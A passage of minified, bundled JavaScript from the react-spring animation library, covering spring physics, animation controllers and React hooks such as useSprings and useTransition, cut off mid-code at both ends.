animated_dist_esm_b(P,T),p=(0,external_React_.useRef)();esm_Q(()=>(p.current=_,esm_Ve(T,s=>Gt(s,_)),()=>{p.current&&(esm_Ve(p.current.deps,s=>Qt(s,p.current)),esm_n.cancel(p.current.update))})),(0,external_React_.useEffect)(P,[]),$r(()=>()=>{let s=p.current;esm_Ve(s.deps,S=>Qt(S,s))});let $=t.getComponentProps(m.getValue());return external_React_.createElement(e,{...$,ref:o})})},animated_dist_esm_b=class{constructor(t,r){this.update=t;this.deps=r}eventObserved(t){t.type=="change"&&esm_n.write(this.update)}};function esm_ne(e,t){let r=new Set;return dist_esm_f.dependencies=r,e.style&&(e={...e,style:t.createAnimatedStyle(e.style)}),e=new animated_dist_esm_u(e),dist_esm_f.dependencies=null,[e,r]}function esm_ae(e,t){return e&&(dist_esm_l.fun(e)?e(t):e.current=t),t}var dist_esm_j=Symbol.for("AnimatedComponent"),dist_esm_Ke=(e,{applyAnimatedValues:t=()=>!1,createAnimatedStyle:r=a=>new animated_dist_esm_u(a),getComponentProps:n=a=>a}={})=>{let a={applyAnimatedValues:t,createAnimatedStyle:r,getComponentProps:n},i=o=>{let m=esm_I(o)||"Anonymous";return dist_esm_l.str(o)?o=i[o]||(i[o]=dist_esm_x(o,a)):o=o[dist_esm_j]||(o[dist_esm_j]=dist_esm_x(o,a)),o.displayName=`Animated(${m})`,o};return xt(e,(o,m)=>{dist_esm_l.arr(e)&&(m=esm_I(o)),i[m]=i(o)}),{animated:i}},esm_I=e=>dist_esm_l.str(e)?e:e&&dist_esm_l.str(e.displayName)?e.displayName:dist_esm_l.fun(e)&&e.name||null;
8411
8412;// ./node_modules/@react-spring/core/dist/esm/index.js
8413function dist_esm_I(t,...e){return dist_esm_l.fun(t)?t(...e):t}var esm_te=(t,e)=>t===!0||!!(e&&t&&(dist_esm_l.fun(t)?t(e):ht(t).includes(e))),et=(t,e)=>dist_esm_l.obj(t)?e&&t[e]:t;var esm_ke=(t,e)=>t.default===!0?t[e]:t.default?t.default[e]:void 0,nn=t=>t,dist_esm_ne=(t,e=nn)=>{let n=rn;t.default&&t.default!==!0&&(t=t.default,n=Object.keys(t));let r={};for(let o of n){let s=e(t[o],o);dist_esm_l.und(s)||(r[o]=s)}return r},rn=["config","onProps","onStart","onChange","onPause","onResume","onRest"],on={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function sn(t){let e={},n=0;if(xt(t,(r,o)=>{on[o]||(e[o]=r,n++)}),n)return e}function esm_de(t){let e=sn(t);if(e){let n={to:e};return xt(t,(r,o)=>o in e||(n[o]=r)),n}return{...t}}function esm_me(t){return t=ve(t),dist_esm_l.arr(t)?t.map(esm_me):esm_or(t)?dist_esm_p.createStringInterpolator({range:[0,1],output:[t,t]})(1):t}function esm_Ue(t){for(let e in t)return!0;return!1}function esm_Ee(t){return dist_esm_l.fun(t)||dist_esm_l.arr(t)&&dist_esm_l.obj(t[0])}function esm_xe(t,e){t.ref?.delete(t),e?.delete(t)}function esm_he(t,e){e&&t.ref!==e&&(t.ref?.delete(t),e.add(t),t.ref=e)}function wr(t,e,n=1e3){an(()=>{if(e){let r=0;ge(t,(o,s)=>{let a=o.current;if(a.length){let i=n*e[s];isNaN(i)?i=r:r=i,ge(a,u=>{ge(u.queue,p=>{let f=p.delay;p.delay=d=>i+dist_esm_I(f||0,d)})}),o.start()}})}else{let r=Promise.resolve();ge(t,o=>{let s=o.current;if(s.length){let a=s.map(i=>{let u=i.queue;return i.queue=[],u});r=r.then(()=>(ge(s,(i,u)=>ge(a[u]||[],p=>i.queue.push(p))),Promise.all(o.start())))}})}})}var esm_mt={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}};var tt={...esm_mt.default,mass:1,damping:1,easing:Lt.linear,clamp:!1},esm_we=class{tension;friction;frequency;damping;mass;velocity=0;restVelocity;precision;progress;duration;easing;clamp;bounce;decay;round;constructor(){Object.assign(this,tt)}};function gt(t,e,n){n&&(n={...n},esm_ht(n,e),e={...n,...e}),esm_ht(t,e),Object.assign(t,e);for(let a in tt)t[a]==null&&(t[a]=tt[a]);let{mass:r,frequency:o,damping:s}=t;return dist_esm_l.und(o)||(o<.01&&(o=.01),s<0&&(s=0),t.tension=Math.pow(2*Math.PI/o,2)*r,t.friction=4*Math.PI*s*r/o),t}function esm_ht(t,e){if(!dist_esm_l.und(e.decay))t.duration=void 0;else{let n=!dist_esm_l.und(e.tension)||!dist_esm_l.und(e.friction);(n||!dist_esm_l.und(e.frequency)||!dist_esm_l.und(e.damping)||!dist_esm_l.und(e.mass))&&(t.duration=void 0,t.decay=void 0),n&&(t.frequency=void 0)}}var esm_yt=[],dist_esm_Le=class{changed=!1;values=esm_yt;toValues=null;fromValues=esm_yt;to;from;config=new esm_we;immediate=!1};function esm_Me(t,{key:e,props:n,defaultProps:r,state:o,actions:s}){return new Promise((a,i)=>{let u,p,f=esm_te(n.cancel??r?.cancel,e);if(f)b();else{dist_esm_l.und(n.pause)||(o.paused=esm_te(n.pause,e));let c=r?.pause;c!==!0&&(c=o.paused||esm_te(c,e)),u=dist_esm_I(n.delay||0,e),c?(o.resumeQueue.add(m),s.pause()):(s.resume(),m())}function d(){o.resumeQueue.add(m),o.timeouts.delete(p),p.cancel(),u=p.time-esm_n.now()}function m(){u>0&&!dist_esm_p.skipAnimation?(o.delayed=!0,p=esm_n.setTimeout(b,u),o.pauseQueue.add(d),o.timeouts.add(p)):b()}function b(){o.delayed&&(o.delayed=!1),o.pauseQueue.delete(d),o.timeouts.delete(p),t<=(o.cancelId||0)&&(f=!0);try{s.start({...n,callId:t,cancel:f},a)}catch(c){i(c)}}})}var esm_be=(t,e)=>e.length==1?e[0]:e.some(n=>n.cancelled)?esm_q(t.get()):e.every(n=>n.noop)?nt(t.get()):dist_esm_E(t.get(),e.every(n=>n.finished)),nt=t=>({value:t,noop:!0,finished:!0,cancelled:!1}),dist_esm_E=(t,e,n=!1)=>({value:t,finished:e,cancelled:n}),esm_q=t=>({value:t,cancelled:!0,finished:!1});function esm_De(t,e,n,r){let{callId:o,parentId:s,onRest:a}=e,{asyncTo:i,promise:u}=n;return!s&&t===i&&!e.reset?u:n.promise=(async()=>{n.asyncId=o,n.asyncTo=t;let p=dist_esm_ne(e,(l,h)=>h==="onRest"?void 0:l),f,d,m=new Promise((l,h)=>(f=l,d=h)),b=l=>{let h=o<=(n.cancelId||0)&&esm_q(r)||o!==n.asyncId&&dist_esm_E(r,!1);if(h)throw l.result=h,d(l),l},c=(l,h)=>{let g=new esm_Ae,x=new esm_Ne;return(async()=>{if(dist_esm_p.skipAnimation)throw esm_oe(n),x.result=dist_esm_E(r,!1),d(x),x;b(g);let S=dist_esm_l.obj(l)?{...l}:{...h,to:l};S.parentId=o,xt(p,(V,_)=>{dist_esm_l.und(S[_])&&(S[_]=V)});let A=await r.start(S);return b(g),n.paused&&await new Promise(V=>{n.resumeQueue.add(V)}),A})()},P;if(dist_esm_p.skipAnimation)return esm_oe(n),dist_esm_E(r,!1);try{let l;dist_esm_l.arr(t)?l=(async h=>{for(let g of h)await c(g)})(t):l=Promise.resolve(t(c,r.stop.bind(r))),await Promise.all([l.then(f),m]),P=dist_esm_E(r.get(),!0,!1)}catch(l){if(l instanceof esm_Ae)P=l.result;else if(l instanceof esm_Ne)P=l.result;else throw l}finally{o==n.asyncId&&(n.asyncId=s,n.asyncTo=s?i:void 0,n.promise=s?u:void 0)}return dist_esm_l.fun(a)&&esm_n.batchedUpdates(()=>{a(P,r,r.item)}),P})()}function esm_oe(t,e){Pe(t.timeouts,n=>n.cancel()),t.pauseQueue.clear(),t.resumeQueue.clear(),t.asyncId=t.asyncTo=t.promise=void 0,e&&(t.cancelId=e)}var esm_Ae=class extends Error{result;constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.")}},esm_Ne=class extends Error{result;constructor(){super("SkipAnimationSignal")}};var esm_Re=t=>t instanceof esm_X,Sn=1,esm_X=class extends esm_ge{id=Sn++;_priority=0;get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){let e=dist_esm_k(this);return e&&e.getValue()}to(...e){return dist_esm_p.to(this,e)}interpolate(...e){return Jt(),dist_esm_p.to(this,e)}toJSON(){return this.get()}observerAdded(e){e==1&&this._attach()}observerRemoved(e){e==0&&this._detach()}_attach(){}_detach(){}_onChange(e,n=!1){$t(this,{type:"change",parent:this,value:e,idle:n})}_onPriorityChange(e){this.idle||qe.sort(this),$t(this,{type:"priority",parent:this,priority:e})}};var esm_se=Symbol.for("SpringPhase"),esm_bt=1,rt=2,ot=4,esm_qe=t=>(t[esm_se]&esm_bt)>0,dist_esm_Q=t=>(t[esm_se]&rt)>0,esm_ye=t=>(t[esm_se]&ot)>0,st=(t,e)=>e?t[esm_se]|=rt|esm_bt:t[esm_se]&=~rt,esm_it=(t,e)=>e?t[esm_se]|=ot:t[esm_se]&=~ot;var esm_ue=class extends esm_X{key;animation=new dist_esm_Le;queue;defaultProps={};_state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_pendingCalls=new Set;_lastCallId=0;_lastToId=0;_memoizedDuration=0;constructor(e,n){if(super(),!dist_esm_l.und(e)||!dist_esm_l.und(n)){let r=dist_esm_l.obj(e)?{...e}:{...n,from:e};dist_esm_l.und(r.default)&&(r.default=!0),this.start(r)}}get idle(){return!(dist_esm_Q(this)||this._state.asyncTo)||esm_ye(this)}get goal(){return ve(this.animation.to)}get velocity(){let e=dist_esm_k(this);return e instanceof animated_dist_esm_l?e.lastVelocity||0:e.getPayload().map(n=>n.lastVelocity||0)}get hasAnimated(){return esm_qe(this)}get isAnimating(){return dist_esm_Q(this)}get isPaused(){return esm_ye(this)}get isDelayed(){return this._state.delayed}advance(e){let n=!0,r=!1,o=this.animation,{config:s,toValues:a}=o,i=F(o.to);!i&&Pt(o.to)&&(a=ht(ve(o.to))),o.values.forEach((f,d)=>{if(f.done)return;let m=f.constructor==animated_dist_esm_d?1:i?i[d].lastPosition:a[d],b=o.immediate,c=m;if(!b){if(c=f.lastPosition,s.tension<=0){f.done=!0;return}let P=f.elapsedTime+=e,l=o.fromValues[d],h=f.v0!=null?f.v0:f.v0=dist_esm_l.arr(s.velocity)?s.velocity[d]:s.velocity,g,x=s.precision||(l==m?.005:Math.min(1,Math.abs(m-l)*.001));if(dist_esm_l.und(s.duration))if(s.decay){let S=s.decay===!0?.998:s.decay,A=Math.exp(-(1-S)*P);c=l+h/(1-S)*(1-A),b=Math.abs(f.lastPosition-c)<=x,g=h*A}else{g=f.lastVelocity==null?h:f.lastVelocity;let S=s.restVelocity||x/10,A=s.clamp?0:s.bounce,V=!dist_esm_l.und(A),_=l==m?f.v0>0:l<m,v,w=!1,C=1,$=Math.ceil(e/C);for(let L=0;L<$&&(v=Math.abs(g)>S,!(!v&&(b=Math.abs(m-c)<=x,b)));++L){V&&(w=c==m||c>m==_,w&&(g=-g*A,c=m));let N=-s.tension*1e-6*(c-m),y=-s.friction*.001*g,T=(N+y)/s.mass;g=g+T*C,c=c+g*C}}else{let S=1;s.duration>0&&(this._memoizedDuration!==s.duration&&(this._memoizedDuration=s.duration,f.durationProgress>0&&(f.elapsedTime=s.duration*f.durationProgress,P=f.elapsedTime+=e)),S=(s.progress||0)+P/this._memoizedDuration,S=S>1?1:S<0?0:S,f.durationProgress=S),c=l+s.easing(S)*(m-l),g=(c-f.lastPosition)/e,b=S==1}f.lastVelocity=g,Number.isNaN(c)&&(console.warn("Got NaN while animating:",this),b=!0)}i&&!i[d].done&&(b=!1),b?f.done=!0:n=!1,f.setValue(c,s.round)&&(r=!0)});let u=dist_esm_k(this),p=u.getValue();if(n){let f=ve(o.to);(p!==f||r)&&!s.decay?(u.setValue(f),this._onChange(f)):r&&s.decay&&this._onChange(p),this._stop()}else r&&this._onChange(p)}set(e){return esm_n.batchedUpdates(()=>{this._stop(),this._focus(e),this._set(e)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(dist_esm_Q(this)){let{to:e,config:n}=this.animation;esm_n.batchedUpdates(()=>{this._onStart(),n.decay||this._set(e,!1),this._stop()})}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,n){let r;return dist_esm_l.und(e)?(r=this.queue||[],this.queue=[]):r=[dist_esm_l.obj(e)?e:{...n,to:e}],Promise.all(r.map(o=>this._update(o))).then(o=>esm_be(this,o))}stop(e){let{to:n}=this.animation;return this._focus(this.get()),esm_oe(this._state,e&&this._lastCallId),esm_n.batchedUpdates(()=>this._stop(n,e)),this}reset(){this._update({reset:!0})}eventObserved(e){e.type=="change"?this._start():e.type=="priority"&&(this.priority=e.priority+1)}_prepareNode(e){let n=this.key||"",{to:r,from:o}=e;r=dist_esm_l.obj(r)?r[n]:r,(r==null||esm_Ee(r))&&(r=void 0),o=dist_esm_l.obj(o)?o[n]:o,o==null&&(o=void 0);let s={to:r,from:o};return esm_qe(this)||(e.reverse&&([r,o]=[o,r]),o=ve(o),dist_esm_l.und(o)?dist_esm_k(this)||this._set(r):this._set(o)),s}_update({...e},n){let{key:r,defaultProps:o}=this;e.default&&Object.assign(o,dist_esm_ne(e,(i,u)=>/^on/.test(u)?et(i,r):i)),_t(this,e,"onProps"),esm_Ie(this,"onProps",e,this);let s=this._prepareNode(e);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");let a=this._state;return esm_Me(++this._lastCallId,{key:r,props:e,defaultProps:o,state:a,actions:{pause:()=>{esm_ye(this)||(esm_it(this,!0),yt(a.pauseQueue),esm_Ie(this,"onPause",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},resume:()=>{esm_ye(this)&&(esm_it(this,!1),dist_esm_Q(this)&&this._resume(),yt(a.resumeQueue),esm_Ie(this,"onResume",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},start:this._merge.bind(this,s)}}).then(i=>{if(e.loop&&i.finished&&!(n&&i.noop)){let u=at(e);if(u)return this._update(u,!0)}return i})}_merge(e,n,r){if(n.cancel)return this.stop(!0),r(esm_q(this));let o=!dist_esm_l.und(e.to),s=!dist_esm_l.und(e.from);if(o||s)if(n.callId>this._lastToId)this._lastToId=n.callId;else return r(esm_q(this));let{key:a,defaultProps:i,animation:u}=this,{to:p,from:f}=u,{to:d=p,from:m=f}=e;s&&!o&&(!n.default||dist_esm_l.und(d))&&(d=m),n.reverse&&([d,m]=[m,d]);let b=!bt(m,f);b&&(u.from=m),m=ve(m);let c=!bt(d,p);c&&this._focus(d);let P=esm_Ee(n.to),{config:l}=u,{decay:h,velocity:g}=l;(o||s)&&(l.velocity=0),n.config&&!P&&gt(l,dist_esm_I(n.config,a),n.config!==i.config?dist_esm_I(i.config,a):void 0);let x=dist_esm_k(this);if(!x||dist_esm_l.und(d))return r(dist_esm_E(this,!0));let S=dist_esm_l.und(n.reset)?s&&!n.default:!dist_esm_l.und(m)&&esm_te(n.reset,a),A=S?m:this.get(),V=esm_me(d),_=dist_esm_l.num(V)||dist_esm_l.arr(V)||esm_or(V),v=!P&&(!_||esm_te(i.immediate||n.immediate,a));if(c){let L=esm_Le(d);if(L!==x.constructor)if(v)x=this._set(V);else throw Error(`Cannot animate between ${x.constructor.name} and ${L.name}, as the "to" prop suggests`)}let w=x.constructor,C=Pt(d),$=!1;if(!C){let L=S||!esm_qe(this)&&b;(c||L)&&($=bt(esm_me(A),V),C=!$),(!bt(u.immediate,v)&&!v||!bt(l.decay,h)||!bt(l.velocity,g))&&(C=!0)}if($&&dist_esm_Q(this)&&(u.changed&&!S?C=!0:C||this._stop(p)),!P&&((C||Pt(p))&&(u.values=x.getPayload(),u.toValues=Pt(d)?null:w==animated_dist_esm_d?[1]:ht(V)),u.immediate!=v&&(u.immediate=v,!v&&!S&&this._set(p)),C)){let{onRest:L}=u;esm_Ve(dist_esm_n,y=>_t(this,n,y));let N=dist_esm_E(this,esm_Ce(this,p));yt(this._pendingCalls,N),this._pendingCalls.add(r),u.changed&&esm_n.batchedUpdates(()=>{u.changed=!S,L?.(N,this),S?dist_esm_I(i.onRest,N):u.onStart?.(N,this)})}S&&this._set(A),P?r(esm_De(n.to,n,this._state,this)):C?this._start():dist_esm_Q(this)&&!c?this._pendingCalls.add(r):r(nt(A))}_focus(e){let n=this.animation;e!==n.to&&(esm_qt(this)&&this._detach(),n.to=e,esm_qt(this)&&this._attach())}_attach(){let e=0,{to:n}=this.animation;Pt(n)&&(Gt(n,this),esm_Re(n)&&(e=n.priority+1)),this.priority=e}_detach(){let{to:e}=this.animation;Pt(e)&&Qt(e,this)}_set(e,n=!0){let r=ve(e);if(!dist_esm_l.und(r)){let o=dist_esm_k(this);if(!o||!bt(r,o.getValue())){let s=esm_Le(r);!o||o.constructor!=s?esm_D(this,s.create(r)):o.setValue(r),o&&esm_n.batchedUpdates(()=>{this._onChange(r,n)})}}return dist_esm_k(this)}_onStart(){let e=this.animation;e.changed||(e.changed=!0,esm_Ie(this,"onStart",dist_esm_E(this,esm_Ce(this,e.to)),this))}_onChange(e,n){n||(this._onStart(),dist_esm_I(this.animation.onChange,e,this)),dist_esm_I(this.defaultProps.onChange,e,this),super._onChange(e,n)}_start(){let e=this.animation;dist_esm_k(this).reset(ve(e.to)),e.immediate||(e.fromValues=e.values.map(n=>n.lastPosition)),dist_esm_Q(this)||(st(this,!0),esm_ye(this)||this._resume())}_resume(){dist_esm_p.skipAnimation?this.finish():qe.start(this)}_stop(e,n){if(dist_esm_Q(this)){st(this,!1);let r=this.animation;esm_Ve(r.values,s=>{s.done=!0}),r.toValues&&(r.onChange=r.onPause=r.onResume=void 0),$t(this,{type:"idle",parent:this});let o=n?esm_q(this.get()):dist_esm_E(this.get(),esm_Ce(this,e??r.to));yt(this._pendingCalls,o),r.changed&&(r.changed=!1,esm_Ie(this,"onRest",o,this))}}};function esm_Ce(t,e){let n=esm_me(e),r=esm_me(t.get());return bt(r,n)}function at(t,e=t.loop,n=t.to){let r=dist_esm_I(e);if(r){let o=r!==!0&&esm_de(r),s=(o||t).reverse,a=!o||o.reset;return esm_Pe({...t,loop:e,default:!1,pause:void 0,to:!s||esm_Ee(n)?n:void 0,from:a?t.from:void 0,reset:a,...o})}}function esm_Pe(t){let{to:e,from:n}=t=esm_de(t),r=new Set;return dist_esm_l.obj(e)&&Vt(e,r),dist_esm_l.obj(n)&&Vt(n,r),t.keys=r.size?Array.from(r):null,t}function Ot(t){let e=esm_Pe(t);return R.und(e.default)&&(e.default=dist_esm_ne(e)),e}function Vt(t,e){xt(t,(n,r)=>n!=null&&e.add(r))}var dist_esm_n=["onStart","onRest","onChange","onPause","onResume"];function _t(t,e,n){t.animation[n]=e[n]!==esm_ke(e,n)?et(e[n],t.key):void 0}function esm_Ie(t,e,...n){t.animation[e]?.(...n),t.defaultProps[e]?.(...n)}var Fn=["onStart","onChange","onRest"],kn=1,esm_le=class{id=kn++;springs={};queue=[];ref;_flush;_initialProps;_lastAsyncId=0;_active=new Set;_changed=new Set;_started=!1;_item;_state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_events={onStart:new Map,onChange:new Map,onRest:new Map};constructor(e,n){this._onFrame=this._onFrame.bind(this),n&&(this._flush=n),e&&this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every(e=>e.idle&&!e.isDelayed&&!e.isPaused)}get item(){return this._item}set item(e){this._item=e}get(){let e={};return this.each((n,r)=>e[r]=n.get()),e}set(e){for(let n in e){let r=e[n];dist_esm_l.und(r)||this.springs[n].set(r)}}update(e){return e&&this.queue.push(esm_Pe(e)),this}start(e){let{queue:n}=this;return e?n=ht(e).map(esm_Pe):this.queue=[],this._flush?this._flush(this,n):(jt(this,n),esm_ze(this,n))}stop(e,n){if(e!==!!e&&(n=e),n){let r=this.springs;esm_Ve(ht(n),o=>r[o].stop(!!e))}else esm_oe(this._state,this._lastAsyncId),this.each(r=>r.stop(!!e));return this}pause(e){if(dist_esm_l.und(e))this.start({pause:!0});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].pause())}return this}resume(e){if(dist_esm_l.und(e))this.start({pause:!1});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].resume())}return this}each(e){xt(this.springs,e)}_onFrame(){let{onStart:e,onChange:n,onRest:r}=this._events,o=this._active.size>0,s=this._changed.size>0;(o&&!this._started||s&&!this._started)&&(this._started=!0,Pe(e,([u,p])=>{p.value=this.get(),u(p,this,this._item)}));let a=!o&&this._started,i=s||a&&r.size?this.get():null;s&&n.size&&Pe(n,([u,p])=>{p.value=i,u(p,this,this._item)}),a&&(this._started=!1,Pe(r,([u,p])=>{p.value=i,u(p,this,this._item)}))}eventObserved(e){if(e.type=="change")this._changed.add(e.parent),e.idle||this._active.add(e.parent);else if(e.type=="idle")this._active.delete(e.parent);else return;esm_n.onFrame(this._onFrame)}};function esm_ze(t,e){return Promise.all(e.map(n=>wt(t,n))).then(n=>esm_be(t,n))}async function wt(t,e,n){let{keys:r,to:o,from:s,loop:a,onRest:i,onResolve:u}=e,p=dist_esm_l.obj(e.default)&&e.default;a&&(e.loop=!1),o===!1&&(e.to=null),s===!1&&(e.from=null);let f=dist_esm_l.arr(o)||dist_esm_l.fun(o)?o:void 0;f?(e.to=void 0,e.onRest=void 0,p&&(p.onRest=void 0)):esm_Ve(Fn,P=>{let l=e[P];if(dist_esm_l.fun(l)){let h=t._events[P];e[P]=({finished:g,cancelled:x})=>{let S=h.get(l);S?(g||(S.finished=!1),x&&(S.cancelled=!0)):h.set(l,{value:null,finished:g||!1,cancelled:x||!1})},p&&(p[P]=e[P])}});let d=t._state;e.pause===!d.paused?(d.paused=e.pause,yt(e.pause?d.pauseQueue:d.resumeQueue)):d.paused&&(e.pause=!0);let m=(r||Object.keys(t.springs)).map(P=>t.springs[P].start(e)),b=e.cancel===!0||esm_ke(e,"cancel")===!0;(f||b&&d.asyncId)&&m.push(esm_Me(++t._lastAsyncId,{props:e,state:d,actions:{pause:Y,resume:Y,start(P,l){b?(esm_oe(d,t._lastAsyncId),l(esm_q(t))):(P.onRest=i,l(esm_De(f,P,d,t)))}}})),d.paused&&await new Promise(P=>{d.resumeQueue.add(P)});let c=esm_be(t,await Promise.all(m));if(a&&c.finished&&!(n&&c.noop)){let P=at(e,a,o);if(P)return jt(t,[P]),wt(t,P,!0)}return u&&esm_n.batchedUpdates(()=>u(c,t,t.item)),c}function esm_e(t,e){let n={...t.springs};return e&&pe(Ve(e),r=>{z.und(r.keys)&&(r=esm_Pe(r)),z.obj(r.to)||(r={...r,to:void 0}),Mt(n,r,o=>esm_Lt(o))}),pt(t,n),n}function pt(t,e){Ut(e,(n,r)=>{t.springs[r]||(t.springs[r]=n,Et(n,t))})}function esm_Lt(t,e){let n=new esm_ue;return n.key=t,e&&Gt(n,e),n}function Mt(t,e,n){e.keys&&esm_Ve(e.keys,r=>{(t[r]||(t[r]=n(r)))._prepareNode(e)})}function jt(t,e){esm_Ve(e,n=>{Mt(t.springs,n,r=>esm_Lt(r,t))})}var dist_esm_H=({children:t,...e})=>{let n=(0,external_React_.useContext)(esm_Ge),r=e.pause||!!n.pause,o=e.immediate||!!n.immediate;e=Lr(()=>({pause:r,immediate:o}),[r,o]);let{Provider:s}=esm_Ge;return external_React_.createElement(s,{value:e},t)},esm_Ge=wn(dist_esm_H,{});dist_esm_H.Provider=esm_Ge.Provider;dist_esm_H.Consumer=esm_Ge.Consumer;function wn(t,e){return Object.assign(t,external_React_.createContext(e)),t.Provider._context=t,t.Consumer._context=t,t}var esm_fe=()=>{let t=[],e=function(r){Ln();let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=n(r,s,a);i&&o.push(s.start(i))}}),o};e.current=t,e.add=function(r){t.includes(r)||t.push(r)},e.delete=function(r){let o=t.indexOf(r);~o&&t.splice(o,1)},e.pause=function(){return ce(t,r=>r.pause(...arguments)),this},e.resume=function(){return ce(t,r=>r.resume(...arguments)),this},e.set=function(r){ce(t,(o,s)=>{let a=Ke.fun(r)?r(s,o):r;a&&o.set(a)})},e.start=function(r){let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=this._getProps(r,s,a);i&&o.push(s.start(i))}}),o},e.stop=function(){return ce(t,r=>r.stop(...arguments)),this},e.update=function(r){return ce(t,(o,s)=>o.update(this._getProps(r,o,s))),this};let n=function(r,o,s){return Ke.fun(r)?r(s,o):r};return e._getProps=n,e};function esm_He(t,e,n){let r=jn.fun(e)&&e;r&&!n&&(n=[]);let o=Xe(()=>r||arguments.length==3?esm_fe():void 0,[]),s=Nt(0),a=Dn(),i=Xe(()=>({ctrls:[],queue:[],flush(h,g){let x=esm_e(h,g);return s.current>0&&!i.queue.length&&!Object.keys(x).some(A=>!h.springs[A])?esm_ze(h,g):new Promise(A=>{pt(h,x),i.queue.push(()=>{A(esm_ze(h,g))}),a()})}}),[]),u=Nt([...i.ctrls]),p=[],f=Dt(t)||0;Xe(()=>{Ye(u.current.slice(t,f),h=>{esm_xe(h,o),h.stop(!0)}),u.current.length=t,d(f,t)},[t]),Xe(()=>{d(0,Math.min(f,t))},n);function d(h,g){for(let x=h;x<g;x++){let S=u.current[x]||(u.current[x]=new esm_le(null,i.flush)),A=r?r(x,S):e[x];A&&(p[x]=Ot(A))}}let m=u.current.map((h,g)=>esm_e(h,p[g])),b=Mn(dist_esm_H),c=Dt(b),P=b!==c&&esm_Ue(b);qn(()=>{s.current++,i.ctrls=u.current;let{queue:h}=i;h.length&&(i.queue=[],Ye(h,g=>g())),Ye(u.current,(g,x)=>{o?.add(g),P&&g.start({default:b});let S=p[x];S&&(esm_he(g,S.ref),g.ref?g.queue.push(S):g.start(S))})}),Nn(()=>()=>{Ye(i.ctrls,h=>h.stop(!0))});let l=m.map(h=>({...h}));return o?[l,o]:l}function esm_J(t,e){let n=Qn.fun(t),[[r],o]=esm_He(1,n?t:[t],n?e||[]:e);return n||arguments.length==2?[r,o]:r}var Gn=()=>esm_fe(),Xo=()=>zn(Gn)[0];var Wo=(t,e)=>{let n=Bn(()=>new esm_ue(t,e));return Kn(()=>()=>{n.stop()}),n};function esm_Qt(t,e,n){let r=qt.fun(e)&&e;r&&!n&&(n=[]);let o=!0,s,a=esm_He(t,(i,u)=>{let p=r?r(i,u):e;return s=p.ref,o=o&&p.reverse,p},n||[{}]);if(Yn(()=>{Xn(a[1].current,(i,u)=>{let p=a[1].current[u+(o?1:-1)];if(esm_he(i,s),i.ref){p&&i.update({to:p.springs});return}p?i.start({to:p.springs}):i.start()})},n),r||arguments.length==3){let i=s??a[1];return i._getProps=(u,p,f)=>{let d=qt.fun(u)?u(f,p):u;if(d){let m=i.current[f+(d.reverse?1:-1)];return m&&(d.to=m.springs),d}},a}return a[0]}function esm_Gt(t,e,n){let r=G.fun(e)&&e,{reset:o,sort:s,trail:a=0,expires:i=!0,exitBeforeEnter:u=!1,onDestroyed:p,ref:f,config:d}=r?r():e,m=Jn(()=>r||arguments.length==3?esm_fe():void 0,[]),b=zt(t),c=[],P=lt(null),l=o?null:P.current;Je(()=>{P.current=c}),$n(()=>(j(c,y=>{m?.add(y.ctrl),y.ctrl.ref=m}),()=>{j(P.current,y=>{y.expired&&clearTimeout(y.expirationId),esm_xe(y.ctrl,m),y.ctrl.stop(!0)})}));let h=tr(b,r?r():e,l),g=o&&P.current||[];Je(()=>j(g,({ctrl:y,item:T,key:F})=>{esm_xe(y,m),dist_esm_I(p,T,F)}));let x=[];if(l&&j(l,(y,T)=>{y.expired?(clearTimeout(y.expirationId),g.push(y)):(T=x[T]=h.indexOf(y.key),~T&&(c[T]=y))}),j(b,(y,T)=>{c[T]||(c[T]={key:h[T],item:y,phase:"mount",ctrl:new esm_le},c[T].ctrl.item=y)}),x.length){let y=-1,{leave:T}=r?r():e;j(x,(F,k)=>{let O=l[k];~F?(y=c.indexOf(O),c[y]={...O,item:b[F]}):T&&c.splice(++y,0,O)})}G.fun(s)&&c.sort((y,T)=>s(y.item,T.item));let S=-a,A=Wn(),V=dist_esm_ne(e),_=new Map,v=lt(new Map),w=lt(!1);j(c,(y,T)=>{let F=y.key,k=y.phase,O=r?r():e,U,D,Jt=dist_esm_I(O.delay||0,F);if(k=="mount")U=O.enter,D="enter";else{let M=h.indexOf(F)<0;if(k!="leave")if(M)U=O.leave,D="leave";else if(U=O.update)D="update";else return;else if(!M)U=O.enter,D="enter";else return}if(U=dist_esm_I(U,y.item,T),U=G.obj(U)?esm_de(U):{to:U},!U.config){let M=d||V.config;U.config=dist_esm_I(M,y.item,T,D)}S+=a;let Z={...V,delay:Jt+S,ref:f,immediate:O.immediate,reset:!1,...U};if(D=="enter"&&G.und(Z.from)){let M=r?r():e,Te=G.und(M.initial)||l?M.from:M.initial;Z.from=dist_esm_I(Te,y.item,T)}let{onResolve:Wt}=Z;Z.onResolve=M=>{dist_esm_I(Wt,M);let Te=P.current,B=Te.find(Fe=>Fe.key===F);if(!!B&&!(M.cancelled&&B.phase!="update")&&B.ctrl.idle){let Fe=Te.every(ee=>ee.ctrl.idle);if(B.phase=="leave"){let ee=dist_esm_I(i,B.item);if(ee!==!1){let 